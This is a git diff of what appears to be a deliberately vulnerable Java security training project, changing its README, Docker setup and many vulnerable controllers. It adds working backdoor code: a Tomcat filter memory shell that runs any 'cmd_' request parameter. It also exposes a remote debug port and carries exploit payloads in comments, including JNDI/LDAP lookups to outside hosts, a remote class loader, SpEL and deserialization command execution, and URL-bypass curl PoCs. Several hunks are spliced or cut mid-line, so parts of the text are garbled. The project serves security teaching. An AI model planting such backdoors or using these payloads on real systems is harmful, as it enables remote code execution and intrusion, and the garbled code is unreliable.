+If you like the poject, you can star java-sec-code project to support me. With your support, I will be able to make `Java sec code` better 😎.
diff --git a/README_zh.md b/README_zh.md
index 72477885..b5c658c3 100644
--- a/README_zh.md
+++ b/README_zh.md
@@ -2,7 +2,11 @@
对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。
-[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md)
+[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋
+
+## 招聘
+
+[Alibaba招聘-安全攻防/研究(P5-P7)](https://github.com/JoyChou93/java-sec-code/wiki/Alibaba-Purple-Team-Job-Description)
## 介绍
@@ -10,7 +14,7 @@
每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。
-[在线Demo](http://118.25.15.216:8080)
+由于服务器到期,在线的Demo网站已不能使用。
登录用户名密码:
@@ -26,15 +30,24 @@ joychou/joychou123
- [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java)
- [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java)
- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
+- [CVE-2022-22978](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java)
- [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java)
- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java)
- [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java)
- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java)
- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java)
- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java)
+- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java)
- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
+- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java)
- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
+ - Runtime
+ - ProcessBuilder
+ - ScriptEngine
+ - Yaml Deserialize
+ - Groovy
+- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java)
- [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java)
- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java)
- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java)
@@ -45,7 +58,7 @@ joychou/joychou123
- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java)
- [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java)
- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java)
-
+- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java)
## 漏洞说明
@@ -62,6 +75,7 @@ joychou/joychou123
- [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI)
- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass)
- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE)
+- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT)
- [Others](https://github.com/JoyChou93/java-sec-code/wiki/others)
@@ -129,7 +143,7 @@ Viarus
例子:
```
-http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami
+http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami
```
返回:
@@ -185,12 +199,7 @@ Tomcat默认JSESSION会话有效时间为30分钟,所以30分钟不操作会
核心开发者: [JoyChou](https://github.com/JoyChou93).其他开发者:[lightless](https://github.com/lightless233), [Anemone95](https://github.com/Anemone95)。欢迎各位提交PR。
-## 捐赠
-
-如果你喜欢这个项目,你可以捐款来支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。
-
-### Alipay
+## 支持
-扫描支付宝二维码支持`Java sec code`。
+如果你喜欢这个项目,你可以star该项目支持我。 有了你的支持,我将能够更好地制作`Java sec code`项目。
-
diff --git a/docker-compose.yml b/docker-compose.yml
index cb3f8efa..7e9c878e 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -1,9 +1,11 @@
-version : '2'
+version : '3'
services:
jsc:
image: joychou/jsc:latest
+ command: ["java", "-Xdebug", "-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000", "-jar", "jsc.jar"]
ports:
- "8080:8080"
+ - "8000:8000"
links:
- j_mysql
diff --git a/java-sec-code.iml b/java-sec-code.iml
index 720895cc..5c58c92b 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -1,219 +1,14 @@
-AbstractJsonpResponseBodyAdvice will be removed as of Spring Framework 5.1, use CORS instead.
* Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2
@@ -47,7 +48,8 @@ protected void beforeBodyWriteInternal(MappingJacksonValue bodyContainer, MediaT
HttpServletResponse response = ((ServletServerHttpResponse)res).getServletResponse();
String realJsonpFunc = getRealJsonpFunc(request);
- if (StringUtils.isNotBlank(realJsonpFunc)){
+ // 如果url带callback,且校验不安全后
+ if ( StringUtils.isNotBlank(realJsonpFunc) ) {
jsonpReferHandler(request, response);
}
super.beforeBodyWriteInternal(bodyContainer, contentType, returnType, req, res);
@@ -84,9 +86,11 @@ private void jsonpReferHandler(HttpServletRequest request, HttpServletResponse r
if (SecurityUtil.checkURL(refer) == null ){
logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
try{
- response.setStatus(HttpServletResponse.SC_FORBIDDEN);
- response.getWriter().write("forbidden");
- response.flushBuffer();
+ // 使用response.getWriter().write后,后续写入jsonp后还会继续使用response.getWriteer(),导致报错
+// response.setStatus(HttpServletResponse.SC_FORBIDDEN);
+// response.getWriter().write(" Referer check error.");
+// response.flushBuffer();
+ response.sendRedirect(Constants.ERROR_PAGE);
} catch (Exception e){
logger.error(e.toString());
}
diff --git a/src/main/java/org/joychou/config/SafeDomainParser.java b/src/main/java/org/joychou/config/SafeDomainParser.java
index 6157f645..b92ff9eb 100644
--- a/src/main/java/org/joychou/config/SafeDomainParser.java
+++ b/src/main/java/org/joychou/config/SafeDomainParser.java
@@ -29,11 +29,9 @@ public SafeDomainParser() {
try {
// 读取resources目录下的文件
ClassPathResource resource = new ClassPathResource(safeDomainClassPath);
- File file = resource.getFile();
-
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
- Document doc = db.parse(file); // parse xml
+ Document doc = db.parse(resource.getInputStream()); // parse xml
NodeList rootNode = doc.getElementsByTagName(rootTag); // 解析根节点domains
Node domainsNode = rootNode.item(0);
@@ -68,6 +66,7 @@ public SafeDomainParser() {
WebConfig wc = new WebConfig();
wc.setSafeDomains(safeDomains);
+ logger.info(safeDomains.toString());
wc.setBlockDomains(blockDomains);
// 解析SSRF配置
@@ -86,11 +85,10 @@ public SafeDomainParser() {
try {
// 读取resources目录下的文件
ClassPathResource resource = new ClassPathResource(ssrfSafeDomainClassPath);
- File file = resource.getFile();
-
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
- Document doc = db.parse(file); // parse xml
+ // 修复打包成jar包运行,不能读取文件的bug
+ Document doc = db.parse(resource.getInputStream()); // parse xml
NodeList rootNode = doc.getElementsByTagName(ssrfRootTag); // 解析根节点
Node domainsNode = rootNode.item(0);
@@ -130,6 +128,7 @@ public SafeDomainParser() {
logger.error(e.toString());
}
+ logger.info(ssrfBlockIps.toString());
wc.setSsrfBlockDomains(ssrfBlockDomains);
wc.setSsrfBlockIps(ssrfBlockIps);
wc.setSsrfSafeDomains(ssrfSafeDomains);
diff --git a/src/main/java/org/joychou/config/TomcatFilterMemShell.java b/src/main/java/org/joychou/config/TomcatFilterMemShell.java
new file mode 100644
index 00000000..15822d59
--- /dev/null
+++ b/src/main/java/org/joychou/config/TomcatFilterMemShell.java
@@ -0,0 +1,105 @@
+package org.joychou.config;
+
+import java.lang.reflect.Field;
+import org.apache.catalina.core.StandardContext;
+import java.io.IOException;
+import org.apache.catalina.loader.WebappClassLoaderBase;
+import org.apache.tomcat.util.descriptor.web.FilterDef;
+import org.apache.tomcat.util.descriptor.web.FilterMap;
+import java.lang.reflect.Constructor;
+import org.apache.catalina.core.ApplicationFilterConfig;
+import org.apache.catalina.Context;
+import org.springframework.stereotype.Component;
+
+import javax.servlet.*;
+import java.util.*;
+
+//@Component
+public class TomcatFilterMemShell implements Filter {
+ static{
+ try {
+ System.out.println("Tomcat filter backdoor class is loading...");
+ final String name = "backdoorTomcatFilter";
+ final String URLPattern = "/*";
+
+ WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
+ // standardContext为tomcat标准上下文,
+ StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
+
+ Class extends StandardContext> aClass;
+ try{
+ // standardContext类名为TomcatEmbeddedContex,TomcatEmbeddedContext父类为StandardContext
+ // 适用于内嵌式springboot的tomcat
+ aClass = (Class extends StandardContext>) standardContext.getClass().getSuperclass();
+ }catch (Exception e){
+ aClass = standardContext.getClass();
+ }
+ Field Configs = aClass.getDeclaredField("filterConfigs");
+ Configs.setAccessible(true);
+ // 获取当前tomcat标准上下文中已经存在的filterConfigs
+ Map filterConfigs = (Map) Configs.get(standardContext);
+
+ // 判断下防止重复注入
+ if (filterConfigs.get(name) == null) {
+ // 构造filterDef,并将filterDef添加到standardContext的FilterDef中
+ TomcatFilterMemShell backdoorFilter = new TomcatFilterMemShell();
+ FilterDef filterDef = new FilterDef();
+ filterDef.setFilter(backdoorFilter);
+ filterDef.setFilterName(name);
+ filterDef.setFilterClass(backdoorFilter.getClass().getName());
+ standardContext.addFilterDef(filterDef);
+
+ // 构造fiterMap,将filterMap添加到standardContext的FilterMap
+ FilterMap filterMap = new FilterMap();
+ filterMap.addURLPattern(URLPattern);
+ filterMap.setFilterName(name);
+ filterMap.setDispatcher(DispatcherType.REQUEST.name());
+ standardContext.addFilterMapBefore(filterMap);
+
+ Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
+ constructor.setAccessible(true);
+ ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
+
+ // 最终将构造好的filterConfig存入StandardContext类的filterConfigs成员变量即可
+ filterConfigs.put(name, filterConfig);
+ System.out.println("Tomcat filter backdoor inject success!");
+ } else System.out.println("It has been successfully injected, do not inject again.");
+ } catch (Exception e) {
+ System.out.println(e.getMessage());
+ }
+ }
+
+
+ @Override
+ public void init(FilterConfig filterConfig) throws ServletException {
+
+ }
+
+ @Override
+ public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
+ String cmd;
+ if ((cmd = servletRequest.getParameter("cmd_")) != null) {
+ Process process = Runtime.getRuntime().exec(cmd);
+ java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
+ new java.io.InputStreamReader(process.getInputStream()));
+ StringBuilder stringBuilder = new StringBuilder();
+ String line;
+ while ((line = bufferedReader.readLine()) != null) {
+ stringBuilder.append(line).append('\n');
+ }
+ servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
+ servletResponse.getOutputStream().flush();
+ servletResponse.getOutputStream().close();
+ return;
+ }
+
+ filterChain.doFilter(servletRequest, servletResponse);
+ }
+
+
+ @Override
+ public void destroy() {
+
+ }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java b/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java
new file mode 100644
index 00000000..ae4a0f1a
--- /dev/null
+++ b/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java
@@ -0,0 +1,46 @@
+package org.joychou.config;
+
+import javax.websocket.*;
+import java.io.InputStream;
+
+public class WebSocketsCmdEndpoint extends Endpoint implements MessageHandler.Whole
- * http://localhost:8080/deserialize/rememberMe/vuln
+ * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
+ * http://localhost:8080/deserialize/rememberMe/vuln
*/
@RequestMapping("/rememberMe/vuln")
public String rememberMeVul(HttpServletRequest request)
throws IOException, ClassNotFoundException {
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
-
if (null == cookie) {
return "No rememberMe cookie. Right?";
}
@@ -56,9 +54,9 @@ public String rememberMeVul(HttpServletRequest request)
}
/**
- * Check deserialize class using black list.
- *
- * http://localhost:8080/deserialize/rememberMe/security
+ * Check deserialize class using black list.
+ * Or update commons-collections to 3.2.2 or above.Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources.
+ * http://localhost:8080/deserialize/rememberMe/security
*/
@RequestMapping("/rememberMe/security")
public String rememberMeBlackClassCheck(HttpServletRequest request)
@@ -86,4 +84,17 @@ public String rememberMeBlackClassCheck(HttpServletRequest request)
return "I'm very OK.";
}
+ // String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]";
+ @RequestMapping("/jackson")
+ public void Jackson(String payload) {
+ ObjectMapper mapper = new ObjectMapper();
+ mapper.enableDefaultTyping();
+ try {
+ Object obj = mapper.readValue(payload, Object.class);
+ mapper.writeValueAsString(obj);
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+
}
diff --git a/src/main/java/org/joychou/controller/Dotall.java b/src/main/java/org/joychou/controller/Dotall.java
new file mode 100644
index 00000000..f6746354
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Dotall.java
@@ -0,0 +1,31 @@
+package org.joychou.controller;
+
+
+
+import java.net.URLDecoder;
+import java.nio.charset.StandardCharsets;
+import java.util.regex.Pattern;
+
+
+/**
+ * Spring Security CVE-2022-22978
+ * 漏洞相关wiki + * @author JoyChou @2023-01-212 + */ + +public class Dotall { + + + /** + * 官方spring-security修复commit记录 + */ + public static void main(String[] args) throws Exception{ + Pattern vuln_pattern = Pattern.compile("/black_path.*"); + Pattern sec_pattern = Pattern.compile("/black_path.*", Pattern.DOTALL); + + String poc = URLDecoder.decode("/black_path%0a/xx", StandardCharsets.UTF_8.toString()); + System.out.println("Poc: " + poc); + System.out.println("Not dotall: " + vuln_pattern.matcher(poc).matches()); // false,非dotall无法匹配\r\n + System.out.println("Dotall: " + sec_pattern.matcher(poc).matches()); // true,dotall可以匹配\r\n + } +} diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java index 8b7c7373..a1858a12 100644 --- a/src/main/java/org/joychou/controller/FileUpload.java +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -31,14 +31,17 @@ public class FileUpload { // Save the uploaded file to this folder - private static String UPLOADED_FOLDER = "/tmp/"; + private static final String UPLOADED_FOLDER = "/tmp/"; private final Logger logger = LoggerFactory.getLogger(this.getClass()); + private static String randomFilePath = ""; - @GetMapping("/") + // uplaod any file + @GetMapping("/any") public String index() { return "upload"; // return upload.html page } + // only allow to upload pictures @GetMapping("/pic") public String uploadPic() { return "uploadPic"; // return uploadPic.html page @@ -64,13 +67,16 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file, } catch (IOException e) { redirectAttributes.addFlashAttribute("message", "upload failed"); - e.printStackTrace(); - return "redirect:/file/status"; + logger.error(e.toString()); } return "redirect:/file/status"; } + @GetMapping("/status") + public String uploadStatus() { + return "uploadStatus"; + } // only upload picture @PostMapping("/upload/picture") @@ -83,11 +89,12 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw String fileName = multifile.getOriginalFilename(); String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名 String mimeType = multifile.getContentType(); // 获取MIME类型 + String filePath = UPLOADED_FOLDER + fileName; File excelFile = convert(multifile); // 判断文件后缀名是否在白名单内 校验1 - String picSuffixList[] = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"}; + String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"}; boolean suffixFlag = false; for (String white_suffix : picSuffixList) { if (Suffix.toLowerCase().equals(white_suffix)) { @@ -97,13 +104,13 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw } if (!suffixFlag) { logger.error("[-] Suffix error: " + Suffix); - deleteFile(excelFile); + deleteFile(filePath); return "Upload failed. Illeagl picture."; } // 判断MIME类型是否在黑名单内 校验2 - String mimeTypeBlackList[] = { + String[] mimeTypeBlackList = { "text/html", "text/javascript", "application/javascript", @@ -115,17 +122,18 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw // 用contains是为了防止text/html;charset=UTF-8绕过 if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) { logger.error("[-] Mime type error: " + mimeType); - deleteFile(excelFile); + deleteFile(filePath); return "Upload failed. Illeagl picture."; } } // 判断文件内容是否是图片 校验3 boolean isImageFlag = isImage(excelFile); + deleteFile(randomFilePath); if (!isImageFlag) { logger.error("[-] File is not Image"); - deleteFile(excelFile); + deleteFile(filePath); return "Upload failed. Illeagl picture."; } @@ -137,28 +145,29 @@ public String uploadPicture(@RequestParam("file") MultipartFile multifile) throw Files.write(path, bytes); } catch (IOException e) { logger.error(e.toString()); - deleteFile(excelFile); + deleteFile(filePath); return "Upload failed"; } - deleteFile(excelFile); logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType); - logger.info("[+] Successfully uploaded {}{}", UPLOADED_FOLDER, multifile.getOriginalFilename()); - return "Upload success"; + logger.info("[+] Successfully uploaded {}", filePath); + return String.format("You successfully uploaded '%s'", filePath); } - private void deleteFile(File... files) { - for (File file : files) { - if (file.exists()) { - boolean ret = file.delete(); - if (ret) { - logger.debug("File delete successfully!"); - } + private void deleteFile(String filePath) { + File delFile = new File(filePath); + if(delFile.isFile() && delFile.exists()) { + if (delFile.delete()) { + logger.info("[+] " + filePath + " delete successfully!"); + return; } } + logger.info(filePath + " delete failed!"); } /** + * 为了使用ImageIO.read() + * * 不建议使用transferTo,因为原始的MultipartFile会被覆盖 * https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file */ @@ -166,8 +175,9 @@ private File convert(MultipartFile multiFile) throws Exception { String fileName = multiFile.getOriginalFilename(); String suffix = fileName.substring(fileName.lastIndexOf(".")); UUID uuid = Generators.timeBasedGenerator().generate(); - - File convFile = new File(UPLOADED_FOLDER + uuid + suffix); + randomFilePath = UPLOADED_FOLDER + uuid + suffix; + // 随机生成一个同后缀名的文件 + File convFile = new File(randomFilePath); boolean ret = convFile.createNewFile(); if (!ret) { return null; @@ -183,6 +193,6 @@ private File convert(MultipartFile multiFile) throws Exception { */ private static boolean isImage(File file) throws IOException { BufferedImage bi = ImageIO.read(file); - return bi == null; + return bi != null; } -} +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Jdbc.java b/src/main/java/org/joychou/controller/Jdbc.java new file mode 100644 index 00000000..79154c1e --- /dev/null +++ b/src/main/java/org/joychou/controller/Jdbc.java @@ -0,0 +1,36 @@ +package org.joychou.controller; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.sql.DriverManager; + +/** + * Jdbc Attack @2023.04 + */ +@Slf4j +@RestController +@RequestMapping("/jdbc") +public class Jdbc { + + /** + * CVE-2022-21724 + */ + @RequestMapping("/postgresql") + public void postgresql(String jdbcUrlBase64) throws Exception{ + byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); + String jdbcUrl = new String(b); + log.info(jdbcUrl); + DriverManager.getConnection(jdbcUrl); + } + + @RequestMapping("/db2") + public void db2(String jdbcUrlBase64) throws Exception{ + Class.forName("com.ibm.db2.jcc.DB2Driver"); + byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64); + String jdbcUrl = new String(b); + log.info(jdbcUrl); + DriverManager.getConnection(jdbcUrl); + } +} diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java index 96061579..eb9381e3 100644 --- a/src/main/java/org/joychou/controller/Jsonp.java +++ b/src/main/java/org/joychou/controller/Jsonp.java @@ -3,9 +3,14 @@ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; -import org.joychou.security.SecurityUtil; +import com.alibaba.fastjson.JSONPObject; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang.StringUtils; import org.joychou.util.LoginUtils; +import org.joychou.security.SecurityUtil; +import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; +import org.springframework.security.web.csrf.CookieCsrfTokenRepository; import org.springframework.security.web.csrf.CsrfToken; import org.springframework.web.bind.annotation.*; import org.springframework.web.servlet.ModelAndView; @@ -22,12 +27,15 @@ * https://github.com/JoyChou93/java-sec-code/wiki/JSONP */ +@Slf4j @RestController @RequestMapping("/jsonp") public class Jsonp { private String callback = WebConfig.getBusinessCallback(); + @Autowired + CookieCsrfTokenRepository cookieCsrfTokenRepository; /** * Set the response content-type to application/javascript. *
@@ -57,7 +65,7 @@ public String emptyReferer(HttpServletRequest request) {
}
/**
- * Adding callback or cback on parameter can automatically return jsonp data.
+ * Adding callback or _callback on parameter can automatically return jsonp data.
* http://localhost:8080/jsonp/object2jsonp?callback=test
* http://localhost:8080/jsonp/object2jsonp?_callback=test
*
@@ -101,11 +109,33 @@ public String safecode(HttpServletRequest request) {
return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
}
-
+ /**
+ * http://localhost:8080/jsonp/getToken?fastjsonpCallback=aa
+ *
+ * object to jsonp
+ */
@GetMapping("/getToken")
- public CsrfToken getCsrfToken(CsrfToken token) {
+ public CsrfToken getCsrfToken1(CsrfToken token) {
return token;
}
+ /**
+ * http://localhost:8080/jsonp/fastjsonp/getToken?fastjsonpCallback=aa
+ *
+ * fastjsonp to jsonp
+ */
+ @GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript")
+ public String getCsrfToken2(HttpServletRequest request) {
+ CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token
+
+ String callback = request.getParameter("fastjsonpCallback");
+ if (StringUtils.isNotBlank(callback)) {
+ JSONPObject jsonpObj = new JSONPObject(callback);
+ jsonpObj.addParameter(csrfToken);
+ return jsonpObj.toString();
+ } else {
+ return csrfToken.toString();
+ }
+ }
}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java
new file mode 100644
index 00000000..f3e4c126
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Jwt.java
@@ -0,0 +1,64 @@
+package org.joychou.controller;
+
+import lombok.extern.slf4j.Slf4j;
+import org.joychou.util.CookieUtils;
+import org.joychou.util.JwtUtils;
+import org.springframework.web.bind.annotation.CookieValue;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+
+/**
+ *
+ */
+@Slf4j
+@RestController
+@RequestMapping("/jwt")
+public class Jwt {
+
+ private static final String COOKIE_NAME = "USER_COOKIE";
+ /**
+ * http://localhost:8080/jwt/createToken
+ * Create jwt token and set token to cookies.
+ *
+ * @author JoyChou 2022-09-20
+ */
+ @GetMapping("/createToken")
+ public String createToken(HttpServletResponse response, HttpServletRequest request) {
+ String loginUser = request.getUserPrincipal().getName();
+ log.info("Current login user is " + loginUser);
+
+ if (!CookieUtils.deleteCookie(response, COOKIE_NAME)){
+ return String.format("%s cookie delete failed", COOKIE_NAME);
+ }
+ String token = JwtUtils.generateTokenByJavaJwt(loginUser);
+ Cookie cookie = new Cookie(COOKIE_NAME, token);
+
+ cookie.setMaxAge(86400); // 1 DAY
+ cookie.setPath("/");
+ cookie.setSecure(true);
+ response.addCookie(cookie);
+ return "Add jwt token cookie successfully. Cookie name is USER_COOKIE";
+ }
+
+
+ /**
+ * http://localhost:8080/jwt/getName
+ * Get nickname from USER_COOKIE
+ *
+ * @author JoyChou 2022-09-20
+ * @param user_cookie cookie
+ * @return nickname
+ */
+ @GetMapping("/getName")
+ public String getNickname(@CookieValue(COOKIE_NAME) String user_cookie) {
+ String nickname = JwtUtils.getNicknameByJavaJwt(user_cookie);
+ return "Current jwt user is " + nickname;
+ }
+
+}
diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java
new file mode 100644
index 00000000..b2ea4060
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Log4j.java
@@ -0,0 +1,29 @@
+package org.joychou.controller;
+
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+public class Log4j {
+
+ private static final Logger logger = LogManager.getLogger("Log4j");
+
+ /**
+ * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75}
+ * Default: error/fatal/off
+ * Fix: Update log4j to lastet version.
+ */
+ @RequestMapping(value = "/log4j")
+ public String log4j(String token) {
+ logger.error(token);
+ return token;
+ }
+
+ public static void main(String[] args) {
+ String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}";
+ logger.error(poc);
+ }
+
+}
diff --git a/src/main/java/org/joychou/controller/QLExpress.java b/src/main/java/org/joychou/controller/QLExpress.java
new file mode 100644
index 00000000..663589cd
--- /dev/null
+++ b/src/main/java/org/joychou/controller/QLExpress.java
@@ -0,0 +1,44 @@
+package org.joychou.controller;
+
+import com.ql.util.express.DefaultContext;
+import com.ql.util.express.ExpressRunner;
+import com.ql.util.express.config.QLExpressRunStrategy;
+import org.joychou.util.WebUtils;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+@RestController(value = "/qlexpress")
+public class QLExpress {
+
+ /**
+ * url = 'http://sb.dog:8888/';
+ * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);
+ * classLoader.loadClass('Hello').newInstance();
+ */
+ @RequestMapping("/vuln1")
+ public String vuln1(HttpServletRequest req) throws Exception{
+ String express = WebUtils.getRequestBody(req);
+ System.out.println(express);
+ ExpressRunner runner = new ExpressRunner();
+ DefaultContext Sql injection jbdc vuln code. Sql injection jbdc security code by using {@link PreparedStatement}. Incorrect use of prepareStatement. PrepareStatement must use ? as a placeholder. Sql injection of mybatis vuln code. select * from users where username = 'joychou' or '1'='1' Sql injection of mybatis vuln code. select * from users where username like '%joychou' or '1'='1%' Sql injection of mybatis vuln code. select * from users order by id desc-- asc Sql injection mybatis security code. Sql injection mybatis security code. Sql injection mybatis security code. Order by sql injection mybatis security code by using sql filter. select * from users order by id asc
+ * The default setting of followRedirects is true.
- * new URL(String url).openConnection()
- * new URL(String url).openStream()
- * new URL(String url).getContent()
+ * Download the url file.
+ * T(java.lang.Runtime).getRuntime().exec("open -a Calculator")
*/
- @GetMapping("/spel/vuln")
- public String rce(String expression) {
+ @RequestMapping("/spel/vuln1")
+ public String spel_vuln1(String value) {
ExpressionParser parser = new SpelExpressionParser();
- // fix method: SimpleEvaluationContext
- return parser.parseExpression(expression).getValue().toString();
+ return parser.parseExpression(value).getValue().toString();
+ }
+
+ /**
+ * Use Spel to execute cmd.
+ * #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}
+ * Exploit must add
- * Bypass poc1: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html'
- * Bypass poc2: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html'
+ * bypass 1
+ * bypass 2
+ *
*
- * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
+ * More details
*/
@GetMapping("/vuln/url_bypass")
